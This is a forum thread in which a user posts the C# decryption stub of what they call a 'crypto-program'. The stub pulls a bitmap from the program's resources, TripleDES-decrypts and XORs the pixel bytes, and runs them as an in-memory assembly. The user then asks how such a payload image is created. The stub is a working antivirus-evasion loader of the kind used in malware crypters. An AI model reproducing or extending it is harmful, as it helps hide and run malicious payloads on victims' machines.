[Q?][.NET] ByteArray in .bmp image

[Meteor2142]

/del pls

Full here bellow

Sorry tuts is lagging

Edited March 30, 2015 by Meteor2142

[Derberux]

can you send original assembly? i would like to take a look

[Meteor2142]

Hello guys! 

 

Sorry for making more and more question posts, but its the only way ppl answer on it!

Some of you kmow that i trying to know how exaclty crypto-program works..

 

So heres one of main encryption method: The bmp image in resources:

 

The LoadBitmap + Decrypt Method

public static void Decrypting(string[] args, string resname, string imgloc, byte[] k)

{

    try

    {

        ResourceManager manager = new ResourceManager("Program.Resources", Assembly.GetEntryAssembly());

        Bitmap bitmap = (Bitmap) manager.GetObject(imgloc);

        BitmapData data = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly, bitmap.PixelFormat);

        byte[] destination = new byte[(bitmap.Width * bitmap.Height) * 4];

        PixelFormat pixelFormat = bitmap.PixelFormat;

        Marshal.Copy(data.Scan0, destination, 0, destination.Length);

        byte[] destinationArray = new byte[BitConverter.ToInt32(destination, 0)];

        Array.Copy(destination, 4, destinationArray, 0, destinationArray.Length);

        TripleDESCryptoServiceProvider provider = new TripleDESCryptoServiceProvider();

        provider.Key = k;

        destinationArray = provider.CreateDecryptor().TransformFinalBlock(destinationArray, 0, destinationArray.Length);

        for (int i = 0; i < destinationArray.Length; i++)

        {

            for (int j = 0; j < k.Length; j++)

            {

                destinationArray[i] = (byte) (destinationArray[i] ^ k[j]);

            }

        }

        Array.Reverse(destinationArray);

        Assembly.Load(destinationArray).EntryPoint.Invoke(null, new object[] { args });

    }

    catch (Exception exception)

    {

        MessageBox.Show(exception.Message);

    }

QUESTION:

How it works (not how it DECRYPTS, how this bmp maked, cause how it decrypts and executes i know)

I know thats a some method called steganography, but its used to overwrite strings (only?) on real images.

And what about this image? Its just randomly maked using basic C# methods (like Image.SetPixel(... rndm1, rndm2, rndm3...) and then using steganography write byttes on it?

 

If someone know, please answer!

 

Thanks a lot for ppls who help, and whole forum!

Original image in attachments

Edited March 29, 2015 by Meteor2142